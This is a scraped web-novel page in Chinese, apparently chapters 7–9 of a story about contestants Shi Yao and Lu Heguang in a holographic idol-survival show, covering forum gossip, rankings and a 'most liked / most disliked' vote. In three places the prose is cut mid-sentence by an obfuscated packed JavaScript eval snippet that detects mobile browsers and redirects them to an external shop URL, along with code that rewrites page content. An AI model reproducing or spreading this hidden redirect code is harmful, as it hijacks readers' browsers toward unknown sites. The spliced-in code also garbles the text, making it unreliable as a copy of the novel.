尽管相距甚远,还能根据动作和林雪鸿的反应判断出来,这句“多多少少都得练过两手”亦可以原话奉还给他。 时遥这么想着,倒也不急着挣脱桎梏,只稍微转了转手腕,直接用裸露在外的皮肤感受相触的部位—— 茧。 很多很多茧。 路和光的指尖、指腹、指关节、虎口、指根部、手掌外缘...几乎触碰到他的部分,都能感受到厚茧和发达肌肉的硬度。 跳Breaking的?但就算大量地使用手掌支撑、旋转,做地板动作,位置和程度也不太相符。 难道是真正意义上唱跳、乐器和舞蹈多项全能,多年都在高强度训练的“拼命三郎”?不像。 又或者... 暗自思忖间,鼻息掠过某种极淡的,熟悉的,时遥曾经闻到过的香味。 路和光抽身回撤的下一秒,时遥猛地伸出另一只手,扯住领口硬生生将他拽了回来。 布料霎时绷紧,距离再次缩短,时遥偏着头,认真嗅闻。 四五公分的身高差,歪头后,鼻尖便隔着微妙的距离擦过了下颌线的拐角,随即转向耳垂下方的那一小块凹陷。 路和光没动,他眼珠侧偏,抓握时遥的手已经放开,在苍白肤色上留下了一圈淡红的余热。 只短短几秒,时遥收回力道。 刚刚,他的鼻息打在颈侧,留有几分麻酥酥的余韵——路和光无意识地捻了捻手指。 “你在闻什么?”他问。 “怪不得。”时遥却不答,只展颜一笑,意味深长地感叹,“原来是你啊。” 晃眼的生动冲淡原本冷硬的神情,点亮了他的整张脸。 7. 第 7 章 路和光一言不发整理着外套,睫毛微垂,像患了强迫症,手指一遍遍擦过被时遥揪紧的领口。 很难从表情上看出他到底在想什么,是否因那句意味不明的话而动摇。 眼角余光里泄洪一般的大量弹幕刷过,但时遥无暇细细查看,他若有所思地弯曲食指,以骨节抵了抵自己的鼻尖。 他刚才从路和光颈侧嗅到了一股被体温烘烤过的,又凉又烫的香味。 和他去东森区用餐当日,在那个小小露台上闻到的如出一辙。 不像是任何一种香水、香氛,亦或清洁产品留下的味道,而更像是被揉进皮肤中的,自带的那种微微苦涩的,熟透了的花香。 ——总不能是体香吧? 时遥几乎要被自己这荒谬的想法逗笑了。 路和光终于放下了手,视线落在了时遥脸上。 “刚才你说的‘原来是你’是什么意思?”他状似好奇地问。 他面部折角锋利,轮廓深邃,只有一双浅弧的桃花眼狭长上挑,盯着时遥是如此专注,恨不得把他溺毙在那一汪自带的深情缱绻里。 时遥只觉得他这眼神轻佻过了头。 “你觉得呢?”时遥问。 路和光:“或许...” 时遥盯着他。 路和光:“众里寻他千百度,蓦然回首,那人却在灯火阑珊处?” 时遥:“?” 时遥无语地给他拍了拍手:“那你古诗词学的挺不错的。” 路和光煞有介事地点了点头,笑容更深了几分,但算不上真心实意,像一张凝固着的,甜蜜又凉薄的面具:“但是我还是想听听你的版本呀,你到底发现了什么,能告诉我吗?” 时遥算是明白了。 路和光知道自己说的是什么,且并不为此感到慌乱心虚,如此不断追问,显然是在期待自己接下来的反应。 他迎上对方兴致勃勃的眼睛,眉梢微扬。 “当然可以。”他说,话锋一转,绕回自己早先那句没完的感叹。 “原来是你啊...” 声音一顿,他扩大口型,无声地送出最后三个字。 “——偷、窥、狂?” “滋滋——滋——” 杂音在合宿基地上空骤然爆发。 之前十几天一直沉默的基地广播,居然在这个时候运作起来。 二人抬起头去。 连卷着裤腿站在海里的慕戚,也迟一步停下了动作。 “各位练习生,大家早上好。” “请所有人于今天中午十二点三十分,准时在中央演播厅各自所属的区域大门前集合——再重复一遍,今天中午十二点三十分,在各自对应区域的演播厅大门前集合。” 不知道想到了什么,在那之后又补充了一句,“...请勿走错区域。” “啊。”路和光遗憾地表示,“我还想和你一起从西海区走呢。” 时遥:“那你就想着吧。” 这补充指不定就是防着你的。 播报声截断了二人间剑拔弩张的气氛。 慕戚终于完成了打水、挖沙和与好朋友Onion海边闲聊等一系列活动,回到时遥身边,看见他双手揣兜,正靠在栈道旁一棵棕榈树上,看起来若有所思。 “路和光呢?”慕戚问。 时遥:“走了。” 慕戚点了点头,评价:“我觉得他是个好人。” 时遥:“哪里好?” 慕戚:“他挺那个...爱护环境的,动物也是。” 时遥:“那你知道什么叫‘醉翁之意不在酒’吗?” 慕戚认真想了想:“喝很多酒的人心思不在酒上?” 时遥摊开手:“嗯,他也是。” * 今日的节目论坛最上方,热门话题的榜单信息量大得惊人。 1.时遥路和光 2.傲慢哥迷茫哥首次同框 3.时遥的口型说了什么 4.路和光脚踹张皓文 5.单竞之暴打舍友 6.商汲安北雾区食堂开赌 ...... 九点多,直播还在进行的中途,时遥刷新论坛十多次,才终于打开了界面,看到了节目组发布的致歉公告。 这直播是热度比拼,西海区最终拿下头筹,不过赢得并不轻松。 毕竟谁也没料到,四个区没一个省事的: 西海区虐队友又“秀恩爱”,南岩区暴打出言不逊的舍友,北雾区食堂边吃早餐边开赌局,至于东森区? 开场第三分钟,路和光惊天一脚把张皓文踹进了沼泽池,剩下的一小时五十七分里,观众有一半时间在看节目组急着捞人的热闹。 林雪鸿也算是爆典无数,包括“为你们通宵”,“低等生物算什么生命”,“别人的是最好的”等惊天言论,却前十不入,到第十一位才终于有了一席之地: #林雪鸿 OUT#。 被#寄居蟹洋葱可爱#的话题压在下一位。 如此有节目效果的四区直播,令那个能毫不费力承载百万会员的论坛—— 崩了。 今天还正巧是个周末,不知道有多少技术部的骨干精英要匆忙赶回来加班。 午饭过后,时遥汇入人群中,去往中央演播厅。 从外观上来看,西海区充斥着虚假的海岛度假风情,尤其是越往内陆走,这种感觉就越清晰: 不自然的风,刻意的潮湿感,回头望去,沿途作为人工景观的棕榈树在阴天的午时,亦死气沉沉地遵循着系统预设的规律。 和东森区虚假的浓绿如出一辙。 不知是不是太清楚这里是全息世界,所以才产生了过多先入为主的想法。 随着时间流逝,那个练习生们极少接近的庞大建筑,终于完整地展现在所有人面前。 他们在那扇巨型的金属门前站定,规矩地按宿舍排成四列。 中央演播厅正上方就是往日查看排名的四面悬挂巨幕,各自朝着东、西、南、北四个方向。 “每次看到这个,我巨物恐惧症都会发作。” “抬头看脖子都酸,还是从远处观望最适合我啦。” “这个屏真的好大,掉下来会不会砸死我们?” “砸死你就行了,我可不愿意哈!” 身后的练习生嬉笑怒骂,以缓解第一次正式集结的不安情绪。 时遥往上看去。 一屏一次只显示十个练习生,左侧是公式照,右侧是姓名、区域与排名,末端还有位次上升或下降的红、蓝箭头。 排名缓缓滚动着,足以让每个人找到属于自己的位置。 它实在是太巨大,也悬得太高,边缘散发着莹莹微光。 如此近的距离,悬挂的方式违背了物理学的常识,但练习生中无人意识到这个问题——或许他们早就被排名的变化和即将面对的未知搅得心神不宁。 四区的树木植被和气候环境差异也大得不合常理,印象中同样没人对此提出过异议。 包括前世的自己。 “慕戚,你名次上升了!”有人大声喊道,引来一阵骚动。 果然,在今天清晨排名尚在二十位的慕戚,目前人气飞速飙升,短短几个小时内已经冲到了十七位。 要知道,越是上位圈,票数差拉得越大,追起来就越困难,三个位次也称得上“飞升”了。 大家并不知道是拜今早的那场直播所赐。 “轰隆——” 面前的金属大门打开了。 练习生们通过环形廊道一路往上,在更高处的第二道门前再次汇聚。 这里的温度比海边更低,灯光白得晃眼,时遥环顾四周,每个人的脸都被映得毫无血色,各自紧绷着。 竭力压低的窸窸窣窣声里,全是强自按捺的焦虑和兴奋。 下一秒,他们面前的第二道门缓缓向一侧滑动,视界豁然开朗。 头顶光束交错,无声砸落。 呈环形阶梯状递增的演播厅,从上至下共十层。黑色座椅沿着阶梯层层攀升,并且越到高处越陡峭,最终在穹顶的黑暗中隐没。 他们就站在最上方往下俯瞰。 巨大的圆形舞台深陷中央,四周的看台将其众星拱月般围拢在正中。 可不知为何,让人第一时间联想到古罗马斗兽场。 整个空间沉默、冷峻,有种极具仪式感的庄严肃穆。 慕戚戳了一下时遥,低声对他说:“你觉不觉得这个地方很像...like...那个叫什么来着?” 他前世早期因说话不顺畅,还时不时冒出点英文,没少被骂“四年美国留学,一生美利坚情”。 但这事强行纠正不来,时遥不欲插手。 “什么?”他问。 慕戚:“嗯...黑色的,特大漏斗?” “噗。”跟在他们身后的何安霖第一个笑出了声。 时遥嘴角动了动,往他后脑勺拍了一巴掌:“挺能想象。” 肖似“古罗马斗兽场”的印象淡去,众人脑海中浮现出黑色漏斗的真容,不知道为什么,真的越看越像。 西海区众人入场的同时,正对面的东森区、左侧的北雾区、右侧的南岩区大门轰然打开,各区练习生悉数涌入。 视线从这一刻才各自相通。 四区的坐席方阵各自占据一方,中央被上宽下窄的扇形走廊分隔开,泾渭分明,犹如四座孤岛。 这确实是四区练习生第一次真正意义上的合体。 “说‘十二天后以最佳面貌相见’,为什么说的跟我们拍的是恋综一样。”有人小声吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600715|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槽。 一阵诡异的沉默。 紧接着,有细微的笑声从四面八方传来。 时遥住在西海-A栋,因此站在人群的第一排,隔着数十米的距离,正对面鱼贯而入的东森区练习生们汇聚成一大片称不上好看的深绿色。 “对面那个人在和谁招手呢?” 大家纷纷再次往前看去。 真的有人在朝这里挥手,手臂大幅度摆动,很认真地在试图吸引他们中某人,也可能是某些人的注意力。 “那是谁?” 他们只能看清那头的衣服颜色,和大致的身形轮廓,五官细节完全无法分辨。 有时候旅游出行,搭乘观光车、游船时与隔壁的人擦肩而过,陌生人之间会自发冲彼此打招呼。 许多练习生下意识地认为,那头的人也是在释放善意,和他们进行某种精神上的“干杯”。 于是,众人纷纷举起了手,打算回馈这份仪式感。 没想到,刚挥舞了两下,对面的人却冷酷地把手放下了。 自作多情的练习生们:“......” 响彻全场的广播挽救了尴尬氛围: “请在场所有练习生,按照座椅前方桌面摆放的名牌快速入座。” 每一排的每一张椅子前方桌面上,都摆了黑底白字的姓名牌。 时遥知道每个区域的第一排都有7个坐席,最高一排则是13个,他沿着台阶一路往下走,越往下,舞台就越显得巨大。 他发现,自己居然被安排在了第一排,恰好处于西海区的七个席位正中。 他又扭头看了一眼上方。 中介的四五六排,视野似乎更好,不会离得太近,也不至于因为高度产生距离感。 最高的第十排也不错。 他上学期间尤其钟爱最后一排,在这里习惯也延续下来。 那种纵观全局的上帝视角,无论是圆形舞台、黑色座椅,还是人群与灯光,统统尽收眼底。 至于第一排—— 他们距离正中的舞台极近,能够以最近的距离观看表演,另一方面,也最容易被记录的镜头带到,成为表演的背景板,这是许多练习生求之不得的。 这样想着,时遥缓缓坐下。 身下的黑色靠背椅有稍显包裹感的弧度,让他立刻有了躺入全息舱的同款体感。 余光里有点奇怪的动静。 时遥将目光上挪了四十五度,瞧见了路和光。 对方正歪着身子挥手致意。 因二人都落座在第一排的正中,东西两区又恰好相对,彼此距离被无限拉近至不到二十米,仅隔着下陷了三四米的圆形舞台。 在确定了路和光那个“偷窥狂”的身份之后,时遥对他的想法就变得更微妙。 在这个节目里,自己势必会因排名暂列第一而成为许多人的假想敌,他并不在意。 但问题是,在西海区练习生的名单还未公布前,准确地说,在重生回来的第一天,他就遭受过这种目光的洗礼。 就好像某个他不知情的瞬间,就被对方精准地锁定了。 为什么? “咔哒——” 一小块液晶屏,从练习生前方桌肚里滑了出来,屏幕亮起,出现了两行没头没尾的空白槽位。 现场霍地一静。 紧接着,指令毫无预兆地下达: “请所有练习生填写,你【最喜欢的练习生】,与【最讨厌的练习生】。” 不是“最想合作”,不是“最期待”,而是“喜欢”和“讨厌”,这样的题干,令偌大的空间再次爆发出疑惑的嗡然之声。 节目组在将所有人送回现实世界之前,终于抛出了第一个又直白又荒诞的问题。 像是在引导他们玩一场小学生之间“你恨我,我恨你”的幼稚传纸条游戏。 * “嗤——” 气流的泄压声,舱门缓缓滑开。 时遥猛地睁开了眼睛,又被四面八方刺目的白光激得眯起了眼。 他撑着身体慢慢地坐直,身上的电击片随动作脱落。 新鲜又冰冷的空气灌入肺部,他忍不住低头呛咳了几声,片刻后才反应过来,自己现在身处真实的世界。 这种感觉很玄妙。 他做了个简单的抓握动作,确认关节依旧灵活,手指活动顺畅。 隔壁的全息舱也已经打开了。 时遥不经意间看去,“邻舱的他”随意地甩了甩头发,顺手往后捋了一把,露出清晰的眉眼。 是路和光。 还挺巧的。 二人的视线在半空中交汇,半晌,路和光的睫毛颤了颤。 然后,他维持着一种近乎目中无人的淡漠姿态,生硬地移开了目光。 垂在身侧的手指,突兀地蜷缩了一下。 8. 第 8 章 [#排雷:细数西海区直播中,林雪鸿此人的槽点] [#水楼:只有我好奇那只叫洋葱的寄居蟹吗?给我看一眼吧求求了!] [#cp:赛前&未来大美帝路和光X时遥的同人美图楼(不断更新中)] [#投票:你觉得林雪鸿应该被淘汰吗?] ...... 多媒体机房里,手指点击鼠标清脆的“咔哒”声此起彼伏。 电脑屏幕映亮了一张张迫切查看观众舆论的脸。 时遥坐在最靠里的座位上,滑动鼠标,有一下没一下地浏览其实早已看过一次的论坛界面。 在节目正式结束前,内外的记忆并不互通。 回到现实,练习生们关于另一边的体验被暂时清空,还有一天半的自由活动时间。 节目组美其名曰,希望他们在没有任何压力的情况下,充分、毫无负担地休息放松。 只不过,不能离开目前居住的酒店式公寓,也无法拥有和外界联络的通讯设备等电子产品。 但他们可以通过公寓机房的旧式电脑,观看官方直播,或登录内部论坛查看自己的表现和评价。 ——反正回去之后,大家又会重新对此一无所知,只以为在录制一档住宿条件很好的传统录播选秀。 相当“贴心”的,节目组亦给出了一项附加建议: 最好不要看。 毕竟大家出来是为了休养,万一受到影响,在全息世界里虽没有相关记忆,可潜意识依旧有可能不稳定,影响状态。 只是,人都是有好奇心的,越不想让做什么,就越要做什么。 更何况,刚从节目里出来的练习生们,还没怎么经历过网络舆论的攻击,不懂得这条建议背后隐藏的深意。 多媒体中心的网吧总共就二十个位置,自然排起了长队。 时遥本着“对比之前看的论坛,和真实论坛内容是否相同”的想法,刚一回归,就迅速申请了电脑使用权,在许多练习生还纠结犹豫的时候,第一个进入了房间。 他刷新了一下页面,点开了一个新的讨论帖。 [#水楼:闭关考了个试,出来发现跟不上节奏了,谁能告诉我都发生了什么?] 下方清一色热心观众: [#28107]:西海区时遥催吐队友,南岩区单竞之暴打舍友,北雾区商汲安开设赌局,东森区路和光一脚把张皓文踹进了沼泽地。 [#3241]:横批——四大区草都不是省油的灯。 [#14815]:什么时候看到“催吐队友”我才能不笑! [#1000]:还是强调一下,时遥的队友、单竞之的舍友,还有张皓文,都不是什么好东西,现在全都在【除名投票榜】上挂着呢,希望不要误会! [#998]:路和光把张皓文踹进沼泽之后就这么跑路了?我本来以为是知道做错了事去找选管,结果他老人家拔腿跑去西海区撩汉? [#290]:最好笑的是根据官方地图,直播开始的时候路和光所在的地点距离西海的海边非常远,十几分钟后此人就出现在海边平台上大装特装,孔雀开屏。 [#7718]:我要是路和光也喜欢时遥!大家都说他看起来傲慢说不定会欺负人,可是迄今为止做了0件坏事,全是美谈! [#2105]:谁懂我本来被林雪鸿气得发疯,下一秒他就被时遥制裁的爽感?小哥哥下次可以更狠辣一点没关系,殴打垃圾人人有责!而且你长这么好看干什么都可以~ 时遥粗略翻了翻,下面大部分都是嗑cp的,于是转手点进下方的帖子。 这是干货。 [#教程:淘汰一名练习生的四种方式] 其一,导师一票否决。 唱跳赛段的第一轮初评级,导师拍板将练习生直接淘汰至280人; 其二,投票末位淘汰制。 唱跳、硬照、演技、综艺四个赛段各有两轮淘汰,每轮人数不同,依赛制而定; 其三,观众投票淘汰制。 需要一定数量的官网注册会员以正当、合理、公开的理由发起投票,也就是所谓的进入【除名投票榜】。 在投票开启后的一周时间里,观众以票数决定练习生去留,若反对票超过50%,选手将被取消参赛资格; 其四,节目组一票否决制。 典型代表人物为陈嵩民。 他在离开前获得了98.8%的“支持率”,但准确来说,如果不是节目组直接要求他滚蛋,他还能像张皓文一样,在节目里苟几天,说不定能等到惊天大反转,又或者自己的粉丝“力挽狂澜”。 楼主刚才看了一下,现在除名投票榜上挂了二十三个练习生,南岩区单竞之和北雾区商汲安也在,除名理由【暴力倾向】,【不良行为】。 ...... “我没做过这样的事情...这不是我啊!” “我真的很冤枉!” “我要投诉!我要投诉这个除名榜!” 某个方向传来了愤怒的吼叫声。 时遥扭过头,赫然是当初和张皓文一同霸凌余斐的三名小弟之一,名字不详。 全息内外展现出的性格不同是非常正常的事情,人的潜意识在遇到某些“契机”后,到底会引领本人做出什么,谁都无法完全预测。 练习生目前的记忆空空,点开论坛却发现自己高高挂在“要被除名”的榜单上,要求清退他的人数过半,遭受的打击可想而知。 隔壁座位面生的练习生抽泣着离开了,时遥扫了一眼他没有关闭的界面,是人气排行榜。 ——这位估计是看到了不理想的排名,有些想不开。 没过多久,有新的人拉开椅子,在时遥身边坐下。 极具存在感的香味瞬间侵袭了整个空间。 时遥侧过头,毫不意外地看到了坐下的路和光。 练习生们穿的都是私服。 时遥早年的经历比较复杂,温度高些的春夏,惯常穿耐脏、轻便的黑色T恤,有时候内里一件背心,外搭大两码的薄外套,再加件短裤就是全部。 节目里大家统一训练服,现在再看,路和光和他截然不同。 炭色衬衫,袖口松松地往上折了两道,领口解开两三颗扣子,在光线下,日光淬过的偏深肤色,与锁骨突出的线条,紧绷出极具威慑性的力量感。 他甚至还戴了一只明显价格不菲的精钢潜水表,表盘却不合常理地压在手腕内侧。 大概是时遥谨慎的端详时间过长,路和光目光斜斜地扫了过来。 两人的目光继离开全息舱后,第二次在半空交汇。 短暂的沉默。 路和光原本放在鼠标上的右手拿了起来。 他嘴角向上挑起,貌似漫不经心地去拨弄那只表,随即几乎蛮横地向下按去,坚硬的金属边缘顺着发力的方式,硬生生嵌入手腕内侧最薄的皮肉里。 就好像那表盘下藏着什么极力掩饰的秘密。 ...... 表缘如钝刀,周围一圈皮肤瞬间紧绷,血色褪尽。 时遥是真的疑惑:“路和光,你和你的手腕有仇吗?” 他对自己可真是毫无怜惜。 难不成是某种自虐的癖好? 闻言,路和光手指微松。 “没仇,但我心律不齐,试了一下动脉物理降温,不好意思,碍着你的眼了。” 时遥:“......” 胡说八道跑火车也就算了,说到后半还非要刺这么一句。 路和光将左侧袖口折了回去,覆盖住手表,声音淡淡地问:“倒是你,你怎么知道我的名字?认识我?” 人还是那个人,问出的问题和全息世界里的差不多,但语气里的防御意味更重些。 时遥同样淡淡地回:“不认识,我做梦梦到就随便喊喊,谁知道你真叫这名字。” 路和光:“......” 时遥以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600716|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他要说些什么,他却霍地站了起来。 然后推回椅子,头也不回地走了。 时遥:“?” 时遥看了一眼丝毫未变的电脑屏幕,甚至想说一句“你排队上一次网不容易,要不还是我走吧”。 * 离开全息世界后,所有练习生居住的是酒店式公寓,一人一间,时遥住在第十八层,也正好是酒店的顶层。 不得不说,这节目虽然需要练习生献祭一切隐私,但在待遇上确实不错。 先不说许诺出道组的资源和曝光,两个世界的居住环境跟待遇,也是其他选秀节目的“大学生宿舍风”没得比的。 时遥在门口刷卡开门的时候,恰好听见隔壁“咔哒”一声,有人推门而出。 他扭头看去。 一个呵欠连天的俊俏高个子少年伸了个懒腰,转身带上了门。 他穿了件颇具海滨风情的彩色短袖衬衫和同款及膝短裤,足蹬拖鞋,乱糟糟略带自来卷的头发和黝黑、又圆又大的下垂眼,让他神似一只... 品相很好的巨型泰迪。 还是被主人美滋滋地送到美容院,好好打扮了一番,穿得花里胡哨送回来的那种。 “啊,你好。”他一个懒腰伸到一半,注意到时遥的存在,连忙收敛动作,振作起精神来打了个招呼。 “你好。” 那双圆溜溜的黑眼睛,在时遥脸上打了个转。 “你好帅。”他真挚地感叹。 时遥:“谢谢。” 他低头看了看时间:“楼下的餐厅马上就要关了,你还是快点去吃饭吧。” “哦哦哦!好的好的!谢谢你啊!”少年悚然一惊,也顾不上和时遥继续寒暄,踢踏着拖鞋,一路往电梯间的方向跑去。 时遥收回目光,开门进屋。 他一直记得前世听过的一句话: “在这个节目里,太温柔善良的人可能比恶贯满盈的那些更不受欢迎。” 恶贯满盈的人多,温柔善良的极少,刚才那个少年就是其中之一。 他叫赖海生,是海边小城市来的少年,学习不太好,爱好是躺在家乡的沙滩上晒晒太阳,把自己晒得黑黑的,无意中在经过的vlogger视频里入镜而被节目组发掘,邀请参加《潜意识选秀》节目。 再后来... 他就成了许多观众口中多管闲事的“圣父癌”,风评不佳。 也是时遥吸取教训,最避之不及的人设之一。 他进入房间,发现之前挂在墙上,正对着自己床铺的液晶屏,居然自动开启了。 “所有人都已经根据自己的潜意识,提交了这一轮【最喜欢】和【最讨厌】的人选。” 这是标题。 【最喜欢你的人】和【最讨厌你的人】,被分为两栏列在下方。 时遥不怎么认真地尝试了一下关闭界面,但不出意外地失败了,节目组明显是打着“一定要让练习生看到”的主意,硬生生把这内容塞到大家眼皮底下。 写喜欢他的人很多,似乎比前世还要多出许多。 有人慕强,有人颜控,又或许是潜意识里的秀人本能,想要主动探寻上位圈练习生的热度和镜头红利。 但写讨厌他的人更多。 焦虑、忌惮、审视、恐惧...时遥倒并不是很在意他们的心理动机,他甚至不需要自己分析,待观众拿到了同样的名单,分分钟就能脑补爱恨,实时定罪。 他将屏幕向下滚动,按姓氏首字母排列的名单里,【最喜欢你的人】中看到了路和光,以及慕戚,再往下还有余斐。 而【最讨厌你的人】里,林雪鸿出现是意料之中。 意料之外的是,下方仅仅隔了两个名字的位置。 路和光赫然在列。 甚至没有超出同一个显示页面的范围。 时遥挑起眉,颇为意外地左右扫了扫—— 他成为了路和光这一轮最喜欢,同时也最讨厌的人。 9. 第 9 章 节目组公布的名单,同步发布在了官方论坛上。 当然,观众们看到的内容,远比练习生多。 不过作为当事人,后者的心思更活络: 有些人会根据全息世界中“最喜欢自己的人”的名单,刻意去结交对方,发展一段现实世界的友谊,又或者战友情。 还有人太在意“被讨厌”的理由,跑去查看论坛和直播,试图搜寻蛛丝马迹。 根据居住区域和宿舍分配去拉帮结派的也不少见。 时遥对此无意,在接下来的时间里没做什么特别的事。 除了去健身房和食堂,剩余时间都留在房间里休息,间或听说有人在打听自己的房间号,但既然没人找上门来,时遥也就当做无事发生。 再次醒来的时候,他不再躺在自己酒店房间的大床上,而是在西海区临海宿舍二层的小房间里。 窗外的海浪声一波接着一波,无由来让人心情平静,于是他看了看墙上的挂钟,又躺了一小会儿,才终于从床上爬起来。 今天是录制第一日。 慕戚的声音絮絮叨叨从浴室方向传来: “...we''re heading home soon...” 时遥进入浴室,一眼看见地上放着一个带盖的大号、长方形玻璃缸,缸身贴了加热垫,地上还零零散散地摆了水碗、小树枝、装饰物等—— 慕戚正蹲在地上往里边装沙子,看起来心情很好,时不时就要和他的Onion聊两句。 也正常,他说话的对象可以是世间万物,自言自语也是常态,毕竟据慕戚所说,当初全校加上他就五十个学生。 “这是什么时候送来的?”时遥问。 不做他想,这一定是节目组后台操作着安排上的,洋葱也算是在他献祭了林雪鸿之后,在这套全息系统里正式“上编制”了。 慕戚认真地想了想,摇了摇头:“不知道,我醒来就在这了,等谭峰、鞠天明...等他们回来,我问一下。” 谭峰和鞠天明是西海-A栋的另外两名舍友,与时遥二人并不在一个组,已经提早离开宿舍,去中央演播厅做妆造和彩排准备了。 ——《潜意识选秀》的初始参赛人数是400名,按照3-4人一组来分配初评级组别,一共117组。 不过,目前陆陆续续清退了一些,算上还在除名投票期没有出局的,现有390人左右,组数不变,节目组不为部分小组队友缺席的问题负责。 初评级也不像传统选秀节目那样录播,而是全程直播。 分为三天,每天两场: 下午场15:00至18:30,晚间场20:00至23:30,时长规定为一天7小时,即使当天没有按照规定完成全部组别,也会准时切断直播,因此相当考验对流程的把控。 谭峰二人的小组被安排在第一天,而时遥、慕戚,以及林雪鸿的舞台,则是第三天。 许多人都认为,节目组会在三天的初评级舞台上动手脚,引导练习生发生争执、内讧等,以吸引观众观看。 实际上并不会。 他们不需要做任何事,这么长时间、这么多人的直播,本身就会事故频频。 今天登台的39组会穿自己的舞台装,而其余的人则穿着节目组统一发放的,正式录制黑色制服。 制服一共分为两款,可以自行选择。 一款是立领,挺拔硬朗的禁欲系,另一款则是大翻领的设计,更自由随性一些。 上辈子时遥挑了前者,这辈子他打算选择后者,没什么特别的原因,既然重生了,就尝试一下另一种可能。 临出发前,他最后从镜子里检查了一下自己。 上午的日光不算明媚,在散漫、冷色调的光线下,依旧色素淡薄的一张脸,甚至隐约能看到皮下蓝紫色的血管。眼尾狭长,半垂的浓睫显得漠然,瞳孔却黑得发亮。 翻领的制服,左侧领边点缀了一排银色的金属环,他伸手随意地拨弄了一下。 慕戚在外边叫他准备出发,他应了一声。 * 今天的中央演播厅,才是真的忙到热火朝天。 登台表演的练习生要做妆造,也不能让作为背景板存在的人完全素着一张脸上镜。 更有意思的是,就算是在后台做妆造、换衣服,四区的空间也是分开的,在正式录制开始后也有明确的分隔界限,直到初评级结束,人数淘汰至280人后,才会稍稍放松区与区之间的界限。 ——那时候就要把人打乱开始准备下一个舞台了。 更多的时候,他们就像现在这样,隔着一段不短的距离,遥遥相望,等待“相见”的那一天。 怪不得不少观众在旁观了赛制之后,第一反应是“这是什么牛郎织女鹊桥会吗”。 时遥用指尖点了点自己的脸颊。 他脸上的粉底和头上的发胶,都散发出脂粉、酒精等足以迷惑人的化学制剂味道,实际上只是系统模拟出的效果。 皮肤窒闷,发丝坚硬,前世今生这么些年,他还是无法习惯这些抗衡强光、维持造型必备的东西。 “你是时遥...对吧?” 身后传来试探的声音。 时遥回过头,一名不认识的练习生正小心翼翼地看着他。 “我是。” 对方也不是真的在和他确认身份,任何一个在意排名的人,都不可能忽略那个高高悬挂顶端的名字。 他在自己的口袋里摸了摸,摸出了一张反复折叠起来的小纸块。 时遥接过来,发现它的边缘用许多固定耳麦的胶带封住了,以免散开或被别人拆开看到内容,起到防拆标签的作用,只是胶带有的过长有的太短,黏得牢固却杂乱。 “这是什么?” “是这样的,我早些时候不小心走到东森区的后台去了,遇到了一个练习生,他把这个给我,让我转交给你。”对方说到这里,表情逐渐变得古怪起来,“呃,我问他是什么,他说...” “他说什么?”时遥随口问。 练习生:“他说,‘是情书哦,你一定要送到他手上’。” 时遥:“......” 他顶着好奇的视线道了谢,顺手从制服口袋里抽出一把折叠刀,大拇指轻轻往上一推。 “哒。” 雪亮的刀刃荡出。 练习生:“!!!” 他下意识地往后退了两步,第一反应是时遥迁怒于人,打算划花他的脸。 时遥莫名其妙看他一眼,从边缘三下五除二划开了胶带。 练习生自知失态,讪讪地问:“这,这里是可以带刀的吗?” 时遥:“这里哪条规定说不允许带刀了?” 对方:“对,对哦。” 可是正常情况下,会有人在这种场合,把这么一把刀随便地塞在口袋里带进来吗?不如说,带刀进来有什么必要性吗? 他不敢问,只看着时遥将这张纸抖开。 纸很大一张,话只有一句,写在正中: “等初评级全结束了,我有东西要给你~” 字迹是过于旁若无人的洒脱,有些笔画简直快要飞起来,却并不凌乱难辨。 还没署名。 托人传纸条的那个东森区练习生到底是谁,不言而喻。 时遥抬起头问:“他还说什么了吗?” 练习生:“我问‘万一他不肯收怎么办’,他说...” “说什么?” “他说,‘那你就硬塞给他,他看起来很傲慢对吧?实际上对弱势群体超体谅,不会拒绝你这种看起来怂唧唧的家伙’。” 复述的时候,练习生面带苦涩,暗自思忖,这算不算是在自己diss自己? 时遥偏头,面无表情地顶了顶腮,没有承认,但也不否认。 第一天需要登台的组别陆陆续续开始进场,主要落座于前四排。 越往上,每层之间的台阶越高,越分明。 时遥作为第三天才表演的人,自然靠后,被安排在了第十排,他之前认为最具“上帝视角”的位置。 也的确如此。 密密麻麻的黑色钢架和电缆线,还有那些专业的灯具,都悬挂在头顶近在咫尺的地方,放眼望去全都是黑压压的人头,时不时还有种视线被拉拽的失重感。 是个恐高症患者绝对不会喜欢的席位。 他坐在西海区的最右,和隔壁的南岩区隔着一条相当宽阔的“楚汉河界”,粗略估计走廊宽度超出二十米。 时遥往右侧看去,有人堪堪落座。 距离太远了,只能依稀看清身形高矮,具体长相都是模糊的,可即使如此,那也是个熟人,不至于认不出。 南岩区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600717|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的单竞之。 